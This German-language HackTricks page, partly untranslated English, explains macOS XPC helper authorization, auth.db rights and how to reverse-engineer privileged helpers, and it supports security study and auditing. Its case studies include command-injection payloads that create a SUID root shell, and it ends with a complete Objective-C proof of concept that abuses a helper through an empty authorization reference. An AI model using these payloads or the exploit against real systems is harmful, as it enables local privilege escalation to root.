macOS XPC Autorisierung
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
XPC Autorisierung
Apple schlägt außerdem einen anderen Weg zur Authentifizierung vor, nämlich zu prüfen, ob der verbindende Prozess die Berechtigung hat, eine exponierte XPC-Methode aufzurufen.
Wenn eine Anwendung Aktionen als privilegierter Benutzer ausführen muss, installiert sie anstatt die App als privilegierten Benutzer laufen zu lassen in der Regel als root ein HelperTool als XPC-Service, das von der App aufgerufen werden kann, um diese Aktionen auszuführen. Die App, die den Service aufruft, sollte jedoch über ausreichende Autorisierung verfügen.
ShouldAcceptNewConnection immer YES
Ein Beispiel findet sich in EvenBetterAuthorizationSample. In App/AppDelegate.m versucht es, eine Verbindung zum HelperTool herzustellen. Und in HelperTool/HelperTool.m prüft die Funktion shouldAcceptNewConnection keine der zuvor genannten Voraussetzungen. Sie gibt immer YES zurück:
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
// Called by our XPC listener when a new connection comes in. We configure the connection
// with our protocol and ourselves as the main object.
{
assert(listener == self.listener);
#pragma unused(listener)
assert(newConnection != nil);
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
newConnection.exportedObject = self;
[newConnection resume];
return YES;
}
For more information about how to properly configure this check:
macOS XPC Connecting Process Check
Anwendungsrechte
Es findet jedoch eine gewisse Autorisierung statt, wenn eine Methode vom HelperTool aufgerufen wird.
Die Funktion applicationDidFinishLaunching aus App/AppDelegate.m erstellt nach dem Start der App eine leere Autorisierungsreferenz. Das sollte immer funktionieren.
Anschließend versucht sie, dieser Autorisierungsreferenz einige Rechte hinzuzufügen, indem setupAuthorizationRights aufgerufen wird:
- (void)applicationDidFinishLaunching:(NSNotification *)note
{
[...]
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
if (err == errAuthorizationSuccess) {
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
}
if (err == errAuthorizationSuccess) {
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
}
assert(err == errAuthorizationSuccess);
// If we successfully connected to Authorization Services, add definitions for our default
// rights (unless they're already in the database).
if (self->_authRef) {
[Common setupAuthorizationRights:self->_authRef];
}
[self.window makeKeyAndOrderFront:self];
}
Die Funktion setupAuthorizationRights aus Common/Common.m speichert die Rechte der Anwendung in der Auth-Datenbank /var/db/auth.db. Beachte, dass sie nur die Rechte hinzufügt, die noch nicht in der Datenbank vorhanden sind:
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
{
assert(authRef != NULL);
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
OSStatus blockErr;
// First get the right. If we get back errAuthorizationDenied that means there's
// no current definition, so we add our default one.
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
if (blockErr == errAuthorizationDenied) {
blockErr = AuthorizationRightSet(
authRef, // authRef
[authRightName UTF8String], // rightName
(__bridge CFTypeRef) authRightDefault, // rightDefinition
(__bridge CFStringRef) authRightDesc, // descriptionKey
NULL, // bundle (NULL implies main bundle)
CFSTR("Common") // localeTableName
);
assert(blockErr == errAuthorizationSuccess);
} else {
// A right already exists (err == noErr) or any other error occurs, we
// assume that it has been set up in advance by the system administrator or
// this is the second time we've run. Either way, there's nothing more for
// us to do.
}
}];
}
Die Funktion enumerateRightsUsingBlock wird verwendet, um Anwendungsberechtigungen abzurufen, die in commandInfo definiert sind:
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
+ (NSDictionary *)commandInfo
{
static dispatch_once_t sOnceToken;
static NSDictionary * sCommandInfo;
dispatch_once(&sOnceToken, ^{
sCommandInfo = @{
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to read its license key.",
@"prompt shown when user is required to authorize to read the license key"
)
},
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to write its license key.",
@"prompt shown when user is required to authorize to write the license key"
)
},
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
kCommandKeyAuthRightDesc : NSLocalizedString(
@"EBAS is trying to start its web service.",
@"prompt shown when user is required to authorize to start the web service"
)
}
};
});
return sCommandInfo;
}
+ (NSString *)authorizationRightForCommand:(SEL)command
// See comment in header.
{
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
}
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
// Calls the supplied block with information about each known authorization right..
{
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
#pragma unused(key)
#pragma unused(stop)
NSDictionary * commandDict;
NSString * authRightName;
id authRightDefault;
NSString * authRightDesc;
// If any of the following asserts fire it's likely that you've got a bug
// in sCommandInfo.
commandDict = (NSDictionary *) obj;
assert([commandDict isKindOfClass:[NSDictionary class]]);
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
assert([authRightName isKindOfClass:[NSString class]]);
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
assert(authRightDefault != nil);
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
assert([authRightDesc isKindOfClass:[NSString class]]);
block(authRightName, authRightDefault, authRightDesc);
}];
}
Das bedeutet, dass am Ende dieses Prozesses die in commandInfo deklarierten Berechtigungen in /var/db/auth.db gespeichert werden. Beachte, dass du dort für jede Methode, die Authentifizierung erfordert, den Berechtigungsnamen und den kCommandKeyAuthRightDefault findest. Letzterer gibt an, wer dieses Recht erhalten kann.
Es gibt verschiedene Bereiche, die angeben, wer Zugriff auf ein Recht haben kann. Einige von ihnen sind in AuthorizationDB.h definiert (du kannst all of them in here finden), aber zur Zusammenfassung:
| Name | Wert | Beschreibung |
|---|---|---|
| kAuthorizationRuleClassAllow | allow | Jeder |
| kAuthorizationRuleClassDeny | deny | Niemand |
| kAuthorizationRuleIsAdmin | is-admin | Der aktuelle Benutzer muss Administrator sein (in der Admin-Gruppe) |
| kAuthorizationRuleAuthenticateAsSessionUser | authenticate-session-owner | Fordert den Benutzer zur Authentifizierung auf. |
| kAuthorizationRuleAuthenticateAsAdmin | authenticate-admin | Fordert den Benutzer zur Authentifizierung auf. Er muss Administrator sein (in der Admin-Gruppe) |
| kAuthorizationRightRule | rule | Regeln angeben |
| kAuthorizationComment | comment | Gibt zusätzliche Kommentare zum Recht an |
Rechteüberprüfung
In HelperTool/HelperTool.m prüft die Funktion readLicenseKeyAuthorization, ob der Aufrufer berechtigt ist, eine solche Methode auszuführen, indem sie die Funktion checkAuthorization aufruft. Diese Funktion überprüft, ob die vom aufrufenden Prozess gesendeten authData das korrekte Format haben, und prüft anschließend, was nötig ist, um das Recht zu erhalten, die spezifische Methode aufzurufen. Wenn alles gut geht, ist der zurückgegebene error nil:
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
[...]
// First check that authData looks reasonable.
error = nil;
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
}
// Create an authorization ref from that the external form data contained within.
if (error == nil) {
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
// Authorize the right associated with the command.
if (err == errAuthorizationSuccess) {
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
AuthorizationRights rights = { 1, &oneRight };
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
assert(oneRight.name != NULL);
err = AuthorizationCopyRights(
authRef,
&rights,
NULL,
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
NULL
);
}
if (err != errAuthorizationSuccess) {
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
}
}
if (authRef != NULL) {
junk = AuthorizationFree(authRef, 0);
assert(junk == errAuthorizationSuccess);
}
return error;
}
Beachte, dass die Funktion authorizationRightForCommand zur Überprüfung der Voraussetzungen, um das Recht zu erhalten, diese Methode aufzurufen, einfach das zuvor kommentierte Objekt commandInfo prüft. Anschließend ruft sie AuthorizationCopyRights auf, um zu prüfen, ob sie die Rechte hat, die Funktion aufzurufen (beachte, dass die Flags eine Interaktion mit dem Benutzer erlauben).
In diesem Fall ist zum Aufruf der Funktion readLicenseKeyAuthorization kCommandKeyAuthRightDefault auf @kAuthorizationRuleClassAllow gesetzt. Also kann sie von jedem aufgerufen werden.
DB-Informationen
Es wurde erwähnt, dass diese Informationen in /var/db/auth.db gespeichert sind. Du kannst alle gespeicherten Regeln mit folgendem Befehl auflisten:
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
Dann können Sie sehen, wer auf das Recht zugreifen kann:
security authorizationdb read com.apple.safaridriver.allow
Permissive rights
Sie finden all the permissions configurations in here, aber die Kombinationen, die keine Benutzerinteraktion erfordern würden, sind:
- ‘authenticate-user’: ‘false’
- Dies ist der direkteste Schlüssel. Wenn auf
falsegesetzt, gibt er an, dass ein Benutzer keine Authentifizierung angeben muss, um dieses Recht zu erhalten. - Dies wird in Kombination mit einer der 2 folgenden oder der Angabe einer Gruppe verwendet, der der Benutzer angehören muss.
- ‘allow-root’: ‘true’
- Wenn ein Benutzer als root user arbeitet (der erhöhte Berechtigungen hat) und dieser Schlüssel auf
truegesetzt ist, könnte der root user dieses Recht potenziell ohne weitere Authentifizierung erhalten. Allerdings erfordert das Erlangen eines root user-Status in der Regel bereits eine Authentifizierung, sodass dies für die meisten Benutzer kein „keine Authentifizierung“-Szenario ist.
- ‘session-owner’: ‘true’
- Wenn auf
truegesetzt, würde der Besitzer der Sitzung (der aktuell angemeldete Benutzer) dieses Recht automatisch erhalten. Dies könnte zusätzliche Authentifizierung umgehen, wenn der Benutzer bereits angemeldet ist.
- ‘shared’: ‘true’
- Dieser Schlüssel gewährt keine Rechte ohne Authentifizierung. Stattdessen bedeutet
true, dass, sobald das Recht einmal authentifiziert wurde, es zwischen mehreren Prozessen geteilt werden kann, ohne dass sich jeder einzelne erneut authentifizieren muss. Die anfängliche Vergabe des Rechts würde jedoch weiterhin eine Authentifizierung erfordern, sofern sie nicht mit anderen Schlüsseln wie'authenticate-user': 'false'kombiniert wird.
You can use this script to get the interesting rights:
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
Rights with 'allow-root': 'true':
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
Rights with 'session-owner': 'true':
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
Authorization Bypass Fallstudien
- CVE-2025-65842 – Acustica Audio Aquarius HelperTool: Der privilegierte Mach-Service
com.acustica.HelperToolakzeptiert jede Verbindung und seinecheckAuthorization:-Routine ruftAuthorizationCopyRights(NULL, …)auf, sodass jeder 32‑byte blob durchgeht.executeCommand:authorization:withReply:speist dann vom Angreifer kontrollierte, mit Kommas getrennte Strings inNSTaskals root ein und erzeugt Payloads wie:
"/bin/sh,-c,cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash"
ermöglicht das triviale Erstellen einer SUID root shell. Details in this write-up.
- CVE-2025-55076 – Plugin Alliance InstallationHelper: The listener always returns YES and the same NULL
AuthorizationCopyRightspattern appears incheckAuthorization:. MethodexchangeAppWithReply:concatenates attacker input into asystem()string twice, so injecting shell metacharacters inappPath(e.g."/Applications/Test.app";chmod 4755 /tmp/rootbash;) yields root code execution via the Mach servicecom.plugin-alliance.pa-installationhelper. More info here. - CVE-2024-4395 – Jamf Compliance Editor helper: Beim Ausführen eines Audits wird
/Library/LaunchDaemons/com.jamf.complianceeditor.helper.plistabgelegt, der Mach-Servicecom.jamf.complianceeditor.helperfreigelegt und-executeScriptAt:arguments:then:exportiert, ohne dieAuthorizationExternalFormdes Aufrufers oder die Code-Signatur zu überprüfen. Ein trivialer ExploitAuthorizationCreatet eine leere Referenz, verbindet sich mit[[NSXPCConnection alloc] initWithMachServiceName:options:NSXPCConnectionPrivileged]und ruft die Methode auf, um beliebige Binaries als root auszuführen. Vollständige Reversing-Notizen (inkl. PoC) in Mykola Grymalyuk’s write-up. - CVE-2025-25251 – FortiClient Mac helper: FortiClient Mac 7.0.0–7.0.14, 7.2.0–7.2.8 und 7.4.0–7.4.2 akzeptierten manipulierte XPC-Nachrichten, die einen privilegierten Helper ohne Autorisierungsprüfungen erreichten. Da der Helper seinem eigenen privilegierten
AuthorizationRefvertraute, konnte jeder lokale Benutzer, der dem Service Nachrichten senden konnte, ihn dazu zwingen, beliebige Konfigurationsänderungen oder Befehle als root auszuführen. Details in SentinelOne’s advisory summary.
Rapid triage tips
- Wenn eine App sowohl eine GUI als auch einen Helper enthält, diffen Sie deren Code-Anforderungen und prüfen Sie, ob
shouldAcceptNewConnectionden Listener mit-setCodeSigningRequirement:sperrt (oderSecCodeCopySigningInformationvalidiert). Fehlende Prüfungen führen in der Regel zu CWE-863-Szenarien wie im Jamf-Fall. Ein schneller Blick sieht so aus:
codesign --display --requirements - /Applications/Jamf\ Compliance\ Editor.app
- Vergleiche, was der helper glaubt, dass er authorisiert, mit dem, was der Client liefert. Beim Reverse-Engineering: setze einen Breakpoint auf
AuthorizationCopyRightsund bestätige, dass dieAuthorizationRefvonAuthorizationCreateFromExternalForm(vom Client bereitgestellt) stammt und nicht aus dem eigenen privilegierten Kontext des Helpers; andernfalls hast du wahrscheinlich ein CWE-863-Muster gefunden, ähnlich wie in den obigen Fällen.
Autorisierungs-Reverse-Engineering
Prüfen, ob EvenBetterAuthorization verwendet wird
Wenn du die Funktion: [HelperTool checkAuthorization:command:] findest, verwendet der Prozess wahrscheinlich das zuvor erwähnte Schema zur Autorisierung:
.png)
Wenn diese Funktion Aufrufe wie AuthorizationCreateFromExternalForm, authorizationRightForCommand, AuthorizationCopyRights, AuhtorizationFree aufruft, verwendet sie EvenBetterAuthorizationSample.
Überprüfe die /var/db/auth.db, um zu sehen, ob es möglich ist, Berechtigungen zu erhalten, um eine privilegierte Aktion ohne Benutzerinteraktion aufzurufen.
Protokoll-Kommunikation
Dann musst du das Protokollschema finden, um eine Kommunikation mit dem XPC-Service herstellen zu können.
Die Funktion shouldAcceptNewConnection zeigt das exportierte Protokoll an:
.png)
In diesem Fall haben wir das gleiche wie in EvenBetterAuthorizationSample, siehe diese Zeile.
Wenn man den Namen des verwendeten Protokolls kennt, ist es möglich, seine Header-Definition zu dumpen mit:
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
[...]
@protocol HelperToolProtocol
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
@end
[...]
Zuletzt müssen wir nur noch den Namen des exponierten Mach Service kennen, um eine Kommunikation mit ihm herzustellen. Es gibt mehrere Möglichkeiten, diesen zu finden:
- In der
[HelperTool init], wo man sehen kann, welcher Mach Service verwendet wird:
.png)
- In der launchd plist:
cat /Library/LaunchDaemons/com.example.HelperTool.plist
[...]
<key>MachServices</key>
<dict>
<key>com.example.HelperTool</key>
<true/>
</dict>
[...]
Exploit Example
In diesem Beispiel werden erstellt:
- Die Definition des Protokolls mit den Funktionen
- Eine leere auth, die verwendet wird, um Zugriff anzufordern
- Eine Verbindung zum XPC-Service
- Ein Aufruf der Funktion, falls die Verbindung erfolgreich war
// gcc -framework Foundation -framework Security expl.m -o expl
#import <Foundation/Foundation.h>
#import <Security/Security.h>
// Define a unique service name for the XPC helper
static NSString* XPCServiceName = @"com.example.XPCHelper";
// Define the protocol for the helper tool
@protocol XPCHelperProtocol
- (void)applyProxyConfigWithAuthorization:(NSData *)authData settings:(NSDictionary *)settings reply:(void (^)(NSError *))callback;
- (void)resetProxyConfigWithAuthorization:(NSData *)authData restoreDefault:(BOOL)shouldRestore reply:(void (^)(NSError *))callback;
- (void)legacyConfigureProxyWithAuthorization:(NSData *)authData enabled:(BOOL)isEnabled host:(NSString *)hostAddress port:(NSString *)portNumber reply:(void (^)(NSError *, BOOL))callback;
- (void)fetchVersionWithReply:(void (^)(NSString *))callback;
- (void)establishConnectionWithReply:(void (^)(NSXPCListenerEndpoint *))callback;
@end
int main(void) {
NSData *authData;
OSStatus status;
AuthorizationExternalForm authForm;
AuthorizationRef authReference = {0};
NSString *proxyAddress = @"127.0.0.1";
NSString *proxyPort = @"4444";
Boolean isProxyEnabled = true;
// Create an empty authorization reference
status = AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authReference);
const char* errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
// Convert the authorization reference to an external form
if (status == errAuthorizationSuccess) {
status = AuthorizationMakeExternalForm(authReference, &authForm);
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Convert the external form to NSData for transmission
if (status == errAuthorizationSuccess) {
authData = [[NSData alloc] initWithBytes:&authForm length:sizeof(authForm)];
errorMsg = CFStringGetCStringPtr(SecCopyErrorMessageString(status, nil), kCFStringEncodingMacRoman);
NSLog(@"OSStatus: %s", errorMsg);
}
// Ensure the authorization was successful
assert(status == errAuthorizationSuccess);
// Establish an XPC connection
NSString *serviceName = XPCServiceName;
NSXPCConnection *xpcConnection = [[NSXPCConnection alloc] initWithMachServiceName:serviceName options:0x1000];
NSXPCInterface *xpcInterface = [NSXPCInterface interfaceWithProtocol:@protocol(XPCHelperProtocol)];
[xpcConnection setRemoteObjectInterface:xpcInterface];
[xpcConnection resume];
// Handle errors for the XPC connection
id remoteProxy = [xpcConnection remoteObjectProxyWithErrorHandler:^(NSError *error) {
NSLog(@"[-] Connection error");
NSLog(@"[-] Error: %@", error);
}];
// Log the remote proxy and connection objects
NSLog(@"Remote Proxy: %@", remoteProxy);
NSLog(@"XPC Connection: %@", xpcConnection);
// Use the legacy method to configure the proxy
[remoteProxy legacyConfigureProxyWithAuthorization:authData enabled:isProxyEnabled host:proxyAddress port:proxyPort reply:^(NSError *error, BOOL success) {
NSLog(@"Response: %@", error);
}];
// Allow some time for the operation to complete
[NSThread sleepForTimeInterval:10.0f];
NSLog(@"Finished!");
}
Weitere XPC-Privilege-Helper, die missbraucht wurden
Referenzen
- https://theevilbit.github.io/posts/secure_coding_xpc_part1/
- https://khronokernel.com/macos/2024/05/01/CVE-2024-4395.html
- https://www.sentinelone.com/vulnerability-database/cve-2025-25251/
- https://almightysec.com/helpertool-xpc-service-local-privilege-escalation/
- https://almightysec.com/Plugin-Alliance-HelperTool-XPC-Service-Local-Privilege-Escalation/
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


